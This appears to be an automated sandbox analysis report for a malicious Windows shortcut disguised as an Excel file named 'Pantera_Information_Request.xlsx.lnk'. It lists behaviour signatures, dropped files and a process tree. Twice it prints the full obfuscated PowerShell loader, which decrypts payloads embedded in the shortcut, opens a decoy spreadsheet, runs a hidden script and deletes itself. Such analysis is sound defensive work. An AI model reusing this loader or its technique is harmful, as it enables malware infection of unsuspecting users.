Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
23/06/2026, 12:30
General
- Target Pantera_Information_Request.xlsx.lnk
- Size 20KB
- Sample260623-ppvbbscx9m
- SHA256 b7606c5c324976fe1715b8f6170a74f3e5b96ad888eb27910edafd1c35e45a6b
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Deletes itself 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Pantera_Information_Request.xlsx.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c for /r C:\Windows\system32\ %f in (*owers*ell.*xe) do (title aiwkvnuyhcsD& "%f" "function hill{ param($fall, $boss, $opposition, $ugly); <#carry same#> $rub = New''-''Obj''ect byte[] $opposition; <#push proceed#> $belt = [System.IO.File]::OpenRead($fall); try { <#surprising lake#> $belt.Seek($boss, [System.IO.SeekOrigin]::Begin) | Out-Null; <#insight movie#> $joke = $belt.Read($rub, 0, $opposition); if ($joke -gt 16) { <#territory Christian#> $collapse = New''-Ob''je''c''t byte[] 16; [Array]::Copy($rub, 0, $collapse, 0, 16); <#pause imply#> $grass = Ne''w-''Ob''jec''t byte[] ($joke - 16); [Array]::Copy($rub, 16, $grass, 0, $grass.$prepare); <#really ultimate#> $cognitive = [System.Security.Cryptography.SHA256]::Create(); <#PM girl#> $etc = $cognitive.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($ugly)); <#report gold#> $cognitive.Dispose(); <#profit definitely#> $distinguish = [System.Security.Cryptography.Aes]::Create(); <#exact push#> $distinguish.Mode = [System.Security.Cryptography.CipherMode]::CBC; <#cross gang#> $distinguish.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $distinguish.Key = $etc; <#soldier represent#> $distinguish.IV = $collapse; <#asleep chance#> $participation = $distinguish.CreateDecryptor(); <#replace undergo#> $game = $participation.TransformFinalBlock($grass, 0, $grass.$prepare); $distinguish.Dispose(); return $game; } } finally { $belt.Close(); } return $nullptr; };function declare{ param($spending); foreach ($file in [System.IO.Directory]::EnumerateFiles($spending, '*.ln'+'k', 'AllD'+'irec'+'tor'+'ies')) { $connect = [System.IO.FileInfo]$file; if ($connect.$prepare -eq 0x000051B3) { return $connect.FullName; } } return ''; };$prepare = 'le';$financial = 'Byt';$prepare += 'ngt'+'h';$financial += 'e';$source = declare -spending $PWD;if ($source.$prepare -eq 0) { <#blind put#> $source = declare -spending $env:Temp; };$venture = Sp''l''it''-Pa''th $source;$considerable = $source.substring(0,$source.$prepare-4) + '';$personnel = '4716'+'31'+'322'+'6';$rapidly = hill -fall $source -boss 0x000018C4 -opposition 0x000020E0 -ugly $personnel;[System.IO.File]::WriteAllBytes($considerable, $rapidly);& $considerable;$close = hill -fall $source -boss 0x000039A4 -opposition 0x000016D0 -ugly $personnel;$potato = [System.Text.Encoding]::UTF8.GetString($close);r''emo''v''e-i''t''e''m $source -Force;$cell = [runspacefactory]::CreateRunspace();$cell.Open();$classroom = [powershell]::Create();$classroom.Runspace = $cell;$classroom.AddScript($potato) | Out-Null;$smell = $classroom.BeginInvoke();$furniture = $classroom.EndInvoke($smell);$classroom.Dispose();$cell.Close();$cell.Dispose();")2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" "function hill{ param($fall, $boss, $opposition, $ugly); <#carry same#> $rub = New''-''Obj''ect byte[] $opposition; <#push proceed#> $belt = [System.IO.File]::OpenRead($fall); try { <#surprising lake#> $belt.Seek($boss, [System.IO.SeekOrigin]::Begin) | Out-Null; <#insight movie#> $joke = $belt.Read($rub, 0, $opposition); if ($joke -gt 16) { <#territory Christian#> $collapse = New''-Ob''je''c''t byte[] 16; [Array]::Copy($rub, 0, $collapse, 0, 16); <#pause imply#> $grass = Ne''w-''Ob''jec''t byte[] ($joke - 16); [Array]::Copy($rub, 16, $grass, 0, $grass.$prepare); <#really ultimate#> $cognitive = [System.Security.Cryptography.SHA256]::Create(); <#PM girl#> $etc = $cognitive.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($ugly)); <#report gold#> $cognitive.Dispose(); <#profit definitely#> $distinguish = [System.Security.Cryptography.Aes]::Create(); <#exact push#> $distinguish.Mode = [System.Security.Cryptography.CipherMode]::CBC; <#cross gang#> $distinguish.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $distinguish.Key = $etc; <#soldier represent#> $distinguish.IV = $collapse; <#asleep chance#> $participation = $distinguish.CreateDecryptor(); <#replace undergo#> $game = $participation.TransformFinalBlock($grass, 0, $grass.$prepare); $distinguish.Dispose(); return $game; } } finally { $belt.Close(); } return $nullptr; };function declare{ param($spending); foreach ($file in [System.IO.Directory]::EnumerateFiles($spending, '*.ln'+'k', 'AllD'+'irec'+'tor'+'ies')) { $connect = [System.IO.FileInfo]$file; if ($connect.$prepare -eq 0x000051B3) { return $connect.FullName; } } return ''; };$prepare = 'le';$financial = 'Byt';$prepare += 'ngt'+'h';$financial += 'e';$source = declare -spending $PWD;if ($source.$prepare -eq 0) { <#blind put#> $source = declare -spending $env:Temp; };$venture = Sp''l''it''-Pa''th $source;$considerable = $source.substring(0,$source.$prepare-4) + '';$personnel = '4716'+'31'+'322'+'6';$rapidly = hill -fall $source -boss 0x000018C4 -opposition 0x000020E0 -ugly $personnel;[System.IO.File]::WriteAllBytes($considerable, $rapidly);& $considerable;$close = hill -fall $source -boss 0x000039A4 -opposition 0x000016D0 -ugly $personnel;$potato = [System.Text.Encoding]::UTF8.GetString($close);r''emo''v''e-i''t''e''m $source -Force;$cell = [runspacefactory]::CreateRunspace();$cell.Open();$classroom = [powershell]::Create();$classroom.Runspace = $cell;$classroom.AddScript($potato) | Out-Null;$smell = $classroom.BeginInvoke();$furniture = $classroom.EndInvoke($smell);$classroom.Dispose();$cell.Close();$cell.Dispose();"3⤵
- Badlisted process makes network request
- Deletes itself
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Pantera_Information_Request.xlsx"4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dw25e30q\dw25e30q.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8B14.tmp" "c:\Users\Admin\AppData\Local\Temp\dw25e30q\CSC12B7B0A9EE414286BFAF4D6D13BC2D8D.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cnryohlg\cnryohlg.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8BD0.tmp" "c:\Users\Admin\AppData\Local\Temp\cnryohlg\CSC7B530EB2602748E7A6879C27AFBD3C5F.TMP"5⤵
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Pantera_Information_Request.xlsx
RES8B14.tmp
RES8BD0.tmp
__PSScriptPolicyTest_tuyryjjb.gqr.ps1
cnryohlg.dll
dw25e30q.dll
b8ab77100df80ab2.customDestinations-ms
CSC7B530EB2602748E7A6879C27AFBD3C5F.TMP
cnryohlg.0.cs
cnryohlg.cmdline
CSC12B7B0A9EE414286BFAF4D6D13BC2D8D.TMP
dw25e30q.0.cs
dw25e30q.cmdline
memory/64-16-0x00007FFC01E70000-0x00007FFC01E80000-memory.dmp
memory/64-15-0x00007FFC01E70000-0x00007FFC01E80000-memory.dmp
memory/64-25-0x00007FFBFFCC0000-0x00007FFBFFCD0000-memory.dmp
memory/64-18-0x00007FFC01E70000-0x00007FFC01E80000-memory.dmp
memory/64-14-0x00007FFC01E70000-0x00007FFC01E80000-memory.dmp
memory/64-17-0x00007FFC01E70000-0x00007FFC01E80000-memory.dmp
memory/64-23-0x00007FFBFFCC0000-0x00007FFBFFCD0000-memory.dmp
memory/4776-33-0x000002333D440000-0x000002333D448000-memory.dmp
memory/4776-1-0x000002333A420000-0x000002333A430000-memory.dmp
memory/4776-10-0x000002333A420000-0x000002333A430000-memory.dmp
memory/4776-46-0x000002333D460000-0x000002333D468000-memory.dmp
memory/4776-2-0x000002333A3F0000-0x000002333A412000-memory.dmp
memory/4776-52-0x000002333D9A0000-0x000002333DEC8000-memory.dmp
memory/4776-61-0x000002333A420000-0x000002333A430000-memory.dmp
memory/4776-62-0x000002333A420000-0x000002333A430000-memory.dmp
memory/4776-0-0x000002333A420000-0x000002333A430000-memory.dmp